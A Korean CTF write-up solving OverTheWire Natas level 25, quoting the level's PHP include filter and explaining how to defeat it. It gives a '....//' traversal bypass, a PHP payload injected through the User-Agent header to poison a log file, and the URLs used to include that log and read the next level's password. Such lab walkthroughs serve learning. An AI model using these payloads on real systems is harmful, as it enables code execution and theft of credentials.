오랫만의 Natas 풀이입니다. 어려워져서 좀 늦었네요.
접속하면 en/de 메뉴가 있고, 각 언어로 작성된 파일들을 보여준다.
소스 코드를 보면 통채로 파일을 include 해오는 것을 볼 수 있다:
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
directory traversal을 통해 문제를 풀라는 출제자의 의도가 엿보인다.
언제나처럼 /etc/natas_webpass/natas26 파일에 password가 있을 것이고, 이것을 include 해서 화면에 뿌려주게 하면 가능할 것이다.
다만 ../ 문자열을 공백으로 필터링하고 있다. 이럴 경우에는 어떻게 directory traversal이 가능할까?
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
답은 ....// 문자열을 사용하는 것이다. ....// 문자열에서 ../를 공백으로 치환하면 ../ 문자열이 된다. 예로:
../../etc/natas_webpass/natas26 -> etc/natas_webpass/natas26
....//....//etc/natas_webpass/natas26 -> ....//....//etc/natas_webpass/natas26 -> ../../etc/natas_webpass/natas26
하지만 문제가 또 있다. natas_webpass 문자열이 포함된 경로를 include하면 에러를 뱉어 버린다.
그렇다면 어떻게 해야 할까?
우리가 include 해올 수 있는 파일은 /etc/natas_webpass/natas26 뿐만이 아니다. 다시 소스를 보자:
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
로그를 시간/user-agent/개발자가 출력하고자 하는 내용으로 세션 파일에 출력하는 것을 확인할 수 있다.
다만 user-agent는 따로 필터링하고 있지 않으므로 사용자가 user-agent 값을 수정한다면 원하는 내용을 입력할 수 있다.
단순히 파일 내용을 본문으로 뿌려주는 것이 아니라 include 해오고 있으므로 사용자가 원하는 임의의 PHP 코드를 실행시킬 수 있는 것이다:
다음 URL에 접속하여 logRequest 함수를 발생시키자:
http://natas25.natas.labs.overthewire.org/?lang=../
접속시 user-agent는 다음과 같이 변경한다:
<?php echo file_get_contents( "/etc/natas_webpass/natas26" ); ?>
이후 다음 URL을 사용해 쿠키에서 얻어낸 session id를 이용하여 로그 파일에 접근하면 natas26의 password를 알 수 있다.
http://natas25.natas.labs.overthewire.org/?lang=..././logs/natas25_kgn42d4sj3k7ucs431fj2ist74.log